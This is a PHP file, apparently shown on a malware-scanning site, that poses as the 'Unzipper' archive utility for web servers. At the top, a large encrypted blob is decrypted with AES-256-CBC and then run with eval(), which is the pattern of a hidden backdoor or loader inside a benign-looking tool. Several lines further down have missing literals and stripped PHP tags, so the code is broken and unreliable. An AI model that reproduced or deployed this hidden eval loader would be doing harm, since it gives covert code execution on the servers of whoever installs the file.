PR3k3ZDZRNTNDS2V2ak01S1BSZVlBKy9ZOWVNbk1pSzNJTFllS3NabjRaT2w5eGFJcGZxVjhVQVFPYjZxVklKQm1UZUQ4eU80U3k2Rk5HVVJxNGkzL1JJcDRkSFFyODZjWkwxbUwzOTZleWRkbVdRcWRzTUttL1RMc1JTcWZ0WGdSZjNRWGxRdUZnRjN3V3p1eEFvamRsa045bjl0U2Z3MHZQQnE0NThiUjhSOFU0K2QwSVhxQkJCNWNXaiswMkRHTU9zVmIzOHNwMVJaa3JkMkdQYVQzSkV0bThHaFc1MWN2RFNhV1MwZHNjN3c5T1cxQnVyZkw0YXZVY1JPbytKSjN1L2Y1WmtST2N4WVIray9TSG5PUzZDRDJwNXVacVg4WVpFbkhaWmNJa1dPUms3NDNkWXNTY3E2Z3RlWVJHNVNFUnFaTTRIeXN1bXA5TWxXWWtSblVicnNPSlNyYzN5WHdzSUFSSVp1UVpXN3V5dk1mbmZvK2VIVWVLUFM0RUlONW1mZGNpbm1YSE4rQnk4YWtVbHY4d0c0NUh6L0ozdmYwYlJ4QXJHRldaV2IrdGppMHY4Nit0VmtoendkR2tWWFJkaTRLYlM2YWloekR4OVVnakNZTXZUclN0UTRycVBWanhway80LzNFVVF2eUlTY2FuOW0vWDlxYmVNRjBMZXYzNU5nVjJYTFFhYUEzN0dYZHpEVjJGNTc0REZ3R0NkRnd5Nk5pNEYwTGlTYVVnZDVyb3VoTWpRVi9QUkZNZXhZV2pHaEtkdkdBQlRWc3BOSTdoclhwMWxTMXdJUXp6eXoyRTNmMktCMC93d3NJbDRuMkR3TkMyMlhlN2RITjUwTzRlNjBlMlRhcVNCcEFKNkZWV3FqMkxwNDRocFRlVmNmUW9GU1ozalR6OFcwQ2d3dGQ3ei9SMXpnd1JvL2VhTjlVWU56UTI5R2JvcVBNZlBuOWZ6T0IxNnRUbUtPdythd21FdUlHbGFwb2VkTXZYcFhBelJCandVNncxZ3I3Y0N3NUdqOWlINmxud09ESzFDK1M0dlROT2lLK3FDWnQ1WFNWb3VHck5Qc0ZZMmQzcEtBaWJJMXdrdnBWMk41VlpTWVAyT1ZqVSt3c3lDczhWelkrVkNkK2NMM294N0dMdWNWUW1GYnlzV0VVbzZuMWxPNzlPTDdPSXV3c1JpQjNGcDdDdHZ1WVJCbWRHaEM0SjdROGE3cDQvWEQ2WThRM2h4Zk1jVi81SWtnT2cxMFEzNllKTkRrVVRmaTJJa0VuMi8vK2NDWHA4S1F5S3FlRldRRWdnY0tORytyakppMXBFK0U4cWpCbEtWeGdhcG5VaklSTWxqbEhRanFoTG1ibDZZWFFmSTUvY2lmM0ZYRWNzcmdOa2ZMMmdlSDVmcXFKTkxsbmEvUGQyY2dKR3NDWmgzNmo5RUtKWXpsbGYxNU8xYnRMMkJJM095NXk2NjZxQ2tLQitlZW1HYmw3N1l5WlZCNFA4WUNZRmd2Zk02WHplcWZJYlY3S3hSSnV0eDBSMDVxRmh4NzY3OGpuRm9oWDFRT0hMYkRVcjVVOHZlTnFDeTM2RmtDQlpnYStHZ3lWVGpYOFRTR0dwZyt5Q0FseDlvWFJycUFMNzBNNUkwZ25YYkdhdnpjOVNJemtNYzV6WkNRUDNpNFl0VHBhb3NMTWZTeW4raDdFd2tMMm1vRTFTYzNjbFBac2MxL2tKZ0pWa2RtQi9MbmdRTzhvU1Erb3d4VXN4WEpxSTF4V1RHQWZSa2hpcU5rdllPZlVURlNSQTl0bGVYQkhJWWtPckp1VEVyUGhiNEZPS21aN28wWVIrbEJQN2VoN2R6eHhHbSswQ3pjS3VoQ2RYTWFmQUF3UGp4RlB2aEFxaXRwaFk0bjExQTBVUjBtaHRaYjlVMGhTa2JFaHdlR0JsQ3hxc2c4aHVLUGhOMloydlh2K2pWU0d3VHFueS9vdzlaODZLY3JnUEF2VTZLQjlWS25kTW9hMVdqT2lWbjlXQmZsSHNKM3VtbUt3eWo3Z2UwUGRBVFVTaVAyNHQwcWcwTmg2a2oyeEgxYUxTWGJpRGhVNmlMUDYydHUyMWR3c0RkbHYrYTNMWFJVdTZXSUt1N1I3dCtScGJTNlJKZW5ZcUtadVZHTThPNlBwdmRMVFQ5dUpCYk5pdWd2dys5ajVCd3JGM29oY1QvaVRXZWp3SnF5Ry9JbFJFNGxXZEVoM3Nkc25rVTM5VHlhMnFkSkJQeGFZeGVwcTN1bVNHbG1HTy8ySjNKaUwyR3cvNVMyVmordDV6SjIxSzBxeU4vSUEvVVZCeW1lQUgrSHdicFRKdnNmbmxXZTZqK2t4aUdlRWdYZVRHZGZPaG5kSWExWng3TkJKWjdIMFVHbHI3b29vTWc2ZTIwVWlxR1Jyd3J4cktUQndFT0xQa2JIeUs3OHpNaTN2RG1DYzFpZmVIREY0S01oWnZLWHhvVThmaWdwTU9DV1ZibHprdnVuVk15bzhSRjFiMFpqd094L1phY2YxUm0yd2tFRXRaOWNOaldLMmVOdFdHSXFPS1JZWlBJTUdseUl2dWJva1ZzcXVnc1FOaG9lNDV1RWwxeFZHNlRKamFKNVdSWlNnT0FrSHo2Y0psTDhqVGRmaVEwMlZPeVVGeFhtcTJZQUJnL1hLNW9xMytYb2tidWRRU0MyeU9tbWEybklWSW9rZVNRYUtSNlBRYmZTUlVXMUlhWmRVWnVXdklNaVl1T2pQdE5lR0xLNjMvVXQvazRmcEJiNGlxdXdpUXdUZlZtd1dhRUlqWEFCenNyU3R0cWtLdjF1dWNaOGdHTXduSUsxT0JpNi9aRHFsUzQ5QWFTemt6T08weWhoRHNadlhQUkxOdHVncVVoT2IwMDI2WTFKdFNMZzdKaTQ5VTRhYUNpSTljSGJvSHRKa0Mxb08xYXJ1cERiZk5pcTVlTVFoKy9keFNydFVmK1UwOU15bnNOMWdINnZNclZYcFlRSHVYNzBpbFh6SWhkVlo0MVJLUzJmOVhIZU5BNDAydW5TeXUvNXp0MTJKa0gyWkU5dC9OTjNSaGtENVc2VHd4aWxpZ0V5emhMYVgxc012VXNSNFo1YVV0Y1RzOVM1K3ppMVppR2FFQWh0TGtQbE5hbmdmM205YWRtQTRmaWRBRUg4U3lTZ05NPQ==');

$decrypted = openssl_decrypt(
    $encrypted_data,
    'AES-256-CBC',
    $key,
    0,
    $iv
);

eval($decrypted);


/**
 * The Unzipper extracts .zip or .rar archives and .gz files on webservers.
 * It also supports creating Zip archives.
 *
 * @author  Andreas Tasch, at[tec], attec.at
 * @license GNU GPL v3
 * @version 0.1.0
*/
@set_time_limit(600);

define('VERSION', '0.1.0');
$timestart = microtime(TRUE);
$GLOBALS['status'] = array();
$unzipper = new Unzipper;

//Unzip Archive
if(isset($_POST['dounzip'])){
  //check if an archive was selected for unzipping
  $archive = isset($_POST['zipfile']) ? strip_tags($_POST['zipfile']) :'';
  $destination = isset($_POST['extpath']) ? strip_tags($_POST['extpath']) :'';
  $unzipper->prepareExtraction($archive, $destination);
}

//Create zip archive
if(isset($_POST['dozip'])){
  $zippath = !empty($_POST['zippath']) ? strip_tags($_POST['zippath']) :;
  // Resulting zipfile e.g. zipper--2016-07-23--11-55.zip
  $zipfile = 'zipper-'. date('Y-m-d--H-i') .'.zip';
  Zipper::zipDir($zippath, $zipfile);
}

$timeend = microtime(TRUE);
$time = $timeend - $timestart;

/**
 * Class Unzipper
 */
class Unzipper {
  public $localdir =;
  public $zipfiles = array();
  public function __construct(){
    //read directory and pick .zip and .gz files
    if($dh = opendir($this->localdir)){
      while (($file = readdir($dh)) !== FALSE){
        if(pathinfo($file, PATHINFO_EXTENSION)==='zip' || pathinfo($file, PATHINFO_EXTENSION)==='gz' || pathinfo($file, PATHINFO_EXTENSION)==='rar') $this->zipfiles[] = $file;
      }
      closedir($dh);
      if(!empty($this->zipfiles)) $GLOBALS['status'] = array('info'=>'.zip or .gz or .rar files found, ready for extraction');
      else $GLOBALS['status'] = array('info'=>'No .zip or .gz or rar files found. So only zipping functionality available.');
    }
  }

  // Prepare and check zipfile for extraction
  public function prepareExtraction($archive, $destination){
    // Determine paths.
    if(empty($destination)) $extpath = $this->localdir;
    else {
      $extpath = $this->localdir .'/'. $destination;
      // todo move this to extraction function
      if(!is_dir($extpath)) mkdir($extpath);
    }
    //allow only local existing archives to extract
    if(in_array($archive, $this->zipfiles)) self::extract($archive, $extpath);
  }

  //Checks file extension and calls suitable extractor functions
  public static function extract($archive, $destination){
    $ext = pathinfo($archive, PATHINFO_EXTENSION);
    switch($ext){
      case 'zip':
        self::extractZipArchive($archive, $destination);
        break;
      case 'gz':
        self::extractGzipFile($archive, $destination);
        break;
      case 'rar':
        self::extractRarArchive($archive, $destination);
        break;
    }
  }

  //Decompress/extract a zip archive using ZipArchive
  public static function extractZipArchive($archive, $destination){
    // Check if webserver supports unzipping.
    if(!class_exists('ZipArchive')){
      $GLOBALS['status'] = array('error'=>'Error: Your PHP version does not support unzip functionality.');
      return;
    }
    $zip = new ZipArchive;
    // Check if archive is readable.
    if($zip->open($archive)===TRUE){
      // Check if destination is writable
      if(is_writeable($destination .'/')){
        $zip->extractTo($destination);
        $zip->close();
        $GLOBALS['status'] = array('success'=>'Files unzipped successfully');
      }
      else  $GLOBALS['status'] = array('error'=>'Error: Directory not writeable by webserver.');
    }
    else $GLOBALS['status'] = array('error'=>'Error: Cannot read .zip archive.');
  }

  // Decompress a .gz File
  public static function extractGzipFile($archive, $destination){
    // Check if zlib is enabled
    if(!function_exists('gzopen')){
      $GLOBALS['status'] = array('error'=>'Error: Your PHP has no zlib support enabled.');
      return;
    }
    $filename = pathinfo($archive, PATHINFO_FILENAME);
    $gzipped = gzopen($archive, 'rb');
    $file = fopen($filename, 'w');
    while($string = gzread($gzipped, 4096)) fwrite($file, $string, strlen($string));
    gzclose($gzipped);
    fclose($file);
    // Check if file was extracted.
    if(file_exists($destination .'/'. $filename)) $GLOBALS['status'] = array('success'=>'File unzipped successfully.');
    else $GLOBALS['status'] = array('error'=>'Error unzipping file.');
  }

  //Decompress/extract a Rar archive using RarArchive
  public static function extractRarArchive($archive, $destination){
    // Check if webserver supports unzipping.
    if(!class_exists('RarArchive')){
      $GLOBALS['status'] = array('error'=>'Error: Your PHP version does not support .rar archive functionality. <a class="info" href="http://php.net/manual/en/rar.installation.php" target="_blank">How to install RarArchive</a>');
      return;
    }
    // Check if archive is readable.
    if($rar = RarArchive::open($archive)){
      // Check if destination is writable
      if(is_writeable($destination .'/')){
        $entries = $rar->getEntries();
        foreach ($entries as $entry){
          $entry->extract($destination);
        }
        $rar->close();
        $GLOBALS['status'] = array('success'=>'Files extracted successfully.');
      }
      else $GLOBALS['status'] = array('error'=>'Error: Directory not writeable by webserver.');
    }
    else  $GLOBALS['status'] = array('error'=>'Error: Cannot read .rar archive.');
  }
}

/**
 * Class Zipper
 *
 * Copied and slightly modified from http://at2.php.net/manual/en/class.ziparchive.php#110719
 * @author umbalaconmeogia
 */
class Zipper {
  /**
   * Add files and sub-directories in a folder to zip file.
   *
   * @param string     $folder
   *   Path to folder that should be zipped.
   *
   * @param ZipArchive $zipFile
   *   Zipfile where files end up.
   *
   * @param int        $exclusiveLength
   *   Number of text to be exclusived from the file path.
   */
  private static function folderToZip($folder, &$zipFile, $exclusiveLength){
    $handle = opendir($folder);
    while(FALSE !== $f = readdir($handle)){
      // Check for local/parent path or zipping file itself and skip.
      if($f != && $f != '..' && $f != basename(__FILE__)){
        $filePath = $folder .'/'. $f;
        // Remove prefix from file path before add to zip.
        $localPath = substr($filePath, $exclusiveLength);
        if(is_file($filePath)) $zipFile->addFile($filePath, $localPath);
        else if(is_dir($filePath)){
          // Add sub-directory.
          $zipFile->addEmptyDir($localPath);
          self::folderToZip($filePath, $zipFile, $exclusiveLength);
        }
      }
    }
    closedir($handle);
  }
  /**
   * Zip a folder (including itself).
   * Usage:
   *   Zipper::zipDir('path/to/sourceDir', 'path/to/out.zip');
   *
   * @param string $sourcePath
   *   Relative path of directory to be zipped.
   *
   * @param string $outZipPath
   *   Relative path of the resulting output zip file.
   */
  public static function zipDir($sourcePath, $outZipPath){
    $pathInfo = pathinfo($sourcePath);
    $parentPath = $pathInfo['dirname'];
    $dirName = $pathInfo['basename'];
    $z = new ZipArchive();
    $z->open($outZipPath, ZipArchive::CREATE);
    $z->addEmptyDir($dirName);
    if($sourcePath == $dirName) self::folderToZip($sourcePath, $z, 0);
    else  self::folderToZip($sourcePath, $z, strlen($parentPath.'/'));

    $z->close();
    $GLOBALS['status'] = array('success'=>'Successfully created archive '. $outZipPath);
  }
}
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>File Unzipper, Unrar + Zipper</title>
<style>

</style>
</head>
<body>
<p class="status status--echo strtoupper(key($GLOBALS['status']));">
  Status: echo reset($GLOBALS['status']);<br/>
  <span class="small">Processing Time: echo $time; seconds</span>
</p>
<form action="" method="POST">
  <fieldset>
    <h1>Archive Unzipper</h1>
    <label for="zipfile">Select .zip or .rar archive or .gz file you want to extract:</label>
    <select name="zipfile" size="1" class="select">
foreach($unzipper->zipfiles as $zip) echo "<option>$zip</option>";
    </select>
    <label for="extpath">Extraction path (optional):</label>
    <input type="text" name="extpath" class="form-field" />
    <p class="info">Enter extraction path without leading or trailing slashes (e.g. "mypath"). If left empty current directory will be used.</p>
    <input type="submit" name="dounzip" class="submit" value="Unzip Archive"/>
  </fieldset>
  <fieldset>
    <h1>Archive Zipper</h1>
    <label for="zippath">Path that should be zipped (optional):</label>
    <input type="text" name="zippath" class="form-field" />
    <p class="info">Enter path to be zipped without leading or trailing slashes (e.g. "zippath"). If left empty current directory will be used.</p>
    <input type="submit" name="dozip" class="submit" value="Zip Archive"/>
  </fieldset>
</form>
<p class="version">Unzipper version: echo VERSION;</p>
</body>
</html>



© 2023 Quttera Ltd. All rights reserved.